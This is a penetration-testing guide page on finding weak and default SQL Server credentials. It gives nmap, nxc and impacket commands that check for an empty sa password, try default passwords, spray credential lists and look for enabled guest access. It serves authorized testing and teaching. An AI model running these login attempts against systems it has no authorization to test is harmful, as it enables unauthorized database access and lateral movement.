# MSSQL Weak Credentials and Default SA Login

- **URL:** https://hackindex.io/services/mssql/vulnerability-discovery/weak-credentials-and-default-sa-login
- **Path:** MSSQL > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/mssql/vulnerability-discovery.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

SQL Server installations frequently retain the sa account with a weak or empty password, especially on internal networks and legacy deployments. SQL authentication is often enabled alongside Windows authentication without administrators realising it. Confirming weak credentials is the first decision point after enumeration: valid SQL auth opens the full exploitation path via xp_cmdshell and impersonation regardless of Windows permissions.

Common weak credential patterns on MSSQL:

- sa with empty password (default on older installs)
- sa:sa, sa:Password1, sa:administrator
- Application service accounts with predictable passwords
- Guest account enabled on sensitive databases

## Empty SA Password Check

The ms-sql-empty-password NSE script tests sa with a blank password without requiring credentials. Run this before attempting any manual checks:

```bash
nmap -p $PORT --script ms-sql-empty-password $TARGET_IP
# PORT     STATE SERVICE
# 1433/tcp open  ms-sql-s
# | ms-sql-empty-password:
# |   [1433] -> sa:<empty>
# |_  Instance: MSSQLSERVER
```

Any positive result here is a direct path to sysadmin-level SQL access. Move immediately to exploitation. If this returns nothing, the sa account either has a password set or SQL authentication is disabled: both worth testing separately.

## Common Default Credentials

Beyond empty sa, test common default credential pairs with nxc. SQL Server Express installs, third-party applications with embedded SQL instances, and developer environments often retain these:

```bash
nxc mssql $TARGET_IP -u sa -p ''
```

```bash
nxc mssql $TARGET_IP -u sa -p sa
```

```bash
nxc mssql $TARGET_IP -u sa -p Password1
```

```bash
nxc mssql $TARGET_IP -u sa -p administrator
```

nxc marks successful logins with a green [+] and failed attempts with [-]. A successful sa login confirms SQL authentication is enabled and the account is active. Even a non-sysadmin SQL login is useful: check its privileges before dismissing it.

## Spray a Credential List

If you have a username or password list from earlier enumeration, spray it against MSSQL. Keep the list short and targeted to avoid account lockout: SQL Server does not enforce lockout by default but some environments configure it:

```bash
nxc mssql $TARGET_IP -u users.txt -p passwords.txt --no-bruteforce
```

```bash
nxc mssql $TARGET_IP -d $DOMAIN -u users.txt -p passwords.txt --no-bruteforce
```

The --no-bruteforce flag pairs each username with the corresponding password in the list rather than trying every combination. Use this when you have matched credential pairs from credential dumps or OSINT.

## Confirm SQL Authentication is Enabled

Some SQL Server instances accept only Windows authentication and reject SQL logins entirely. Confirm which mode is active by checking the login error response. An explicit login failure message means SQL auth is enabled but the credentials are wrong. A protocol-level rejection means only Windows auth is accepted:

```bash
impacket-mssqlclient sa:wrongpassword@$TARGET_IP 2>&1
# ERROR: Login failed for user 'sa'
```

Login failed for user sa means SQL authentication is active and the account exists. This response alone confirms the attack surface. If you receive a Windows authentication error instead, switch to domain credentials with the -windows-auth flag.

## Test Guest and Public Access

The guest account in SQL Server is disabled by default but can be enabled per database. Connect with valid Windows credentials and check whether guest is enabled in any database:

```bash
impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
```

Once connected, check for enabled guest accounts across all databases:

```sql
SELECT name FROM sys.databases WHERE HAS_DBACCESS(name) = 1;
SELECT dp.name, dp.type_desc FROM sys.database_permissions perm JOIN sys.database_principals dp ON perm.grantee_principal_id = dp.principal_id WHERE dp.name = 'guest' AND perm.permission_name = 'CONNECT' AND perm.state_desc = 'GRANT';
```

An enabled guest account in a sensitive database means any authenticated Windows user can read that database without an explicit SQL login. This enables data access through lateral movement paths that do not require SQL credentials at all.

## References

- [Nmap: ms-sql-empty-password NSE](https://nmap.org/nsedoc/scripts/ms-sql-empty-password.html) - Empty password check behavior and output format
- [NetExec Wiki: MSSQL Authentication](https://www.netexec.wiki/mssql-protocol/authentication) - nxc MSSQL credential validation and spraying options
